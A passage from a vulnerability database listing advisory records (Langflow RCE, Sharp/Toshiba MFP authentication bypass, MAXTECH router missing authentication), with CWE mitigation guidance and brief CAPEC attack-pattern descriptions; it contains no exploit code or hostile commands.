"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017"
},
{
"type": "WEB",
"url": "https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A",
"type": "CVSS_V4"
}
],
"summary": "Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint"
}
GHSA-VWP4-85G8-FGJG
Vulnerability from github – Published: 2024-10-25 09:32 – Updated: 2024-10-25 09:32
VLAI
Details
Sharp and Toshiba Tec MFPs improperly process HTTP authentication requests, resulting in an authentication bypass vulnerability.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-47406"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T07:15:04Z",
"severity": "CRITICAL"
},
"details": "Sharp and Toshiba Tec MFPs improperly process HTTP authentication requests, resulting in an authentication bypass vulnerability.",
"id": "GHSA-vwp4-85g8-fgjg",
"modified": "2024-10-25T09:32:00Z",
"published": "2024-10-25T09:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47406"
},
{
"type": "WEB",
"url": "https://global.sharp/products/copier/info/info_security_2024-10.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU95063136"
},
{
"type": "WEB",
"url": "https://www.toshibatec.com/information/20241025_01.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWQW-8WH7-G85P
Vulnerability from github – Published: 2023-04-21 15:30 – Updated: 2023-04-21 15:30
VLAI
Details
A vulnerability, which was classified as critical, was found in MAXTECH MAX-G866ac 0.4.1_TBRO_20160314. This affects an unknown part of the component Remote Management. The manipulation leads to missing authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-227001 was assigned to this vulnerability.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-2231"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-21T15:15:07Z",
"severity": "CRITICAL"
},
"details": "A vulnerability, which was classified as critical, was found in MAXTECH MAX-G866ac 0.4.1_TBRO_20160314. This affects an unknown part of the component Remote Management. The manipulation leads to missing authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-227001 was assigned to this vulnerability.",
"id": "GHSA-vwqw-8wh7-g85p",
"modified": "2023-04-21T15:30:19Z",
"published": "2023-04-21T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2231"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.227001"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.227001"
},
{
"type": "WEB",
"url": "https://youtu.be/fikdcK_xlS8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Architecture and Design
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation
System Configuration
Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.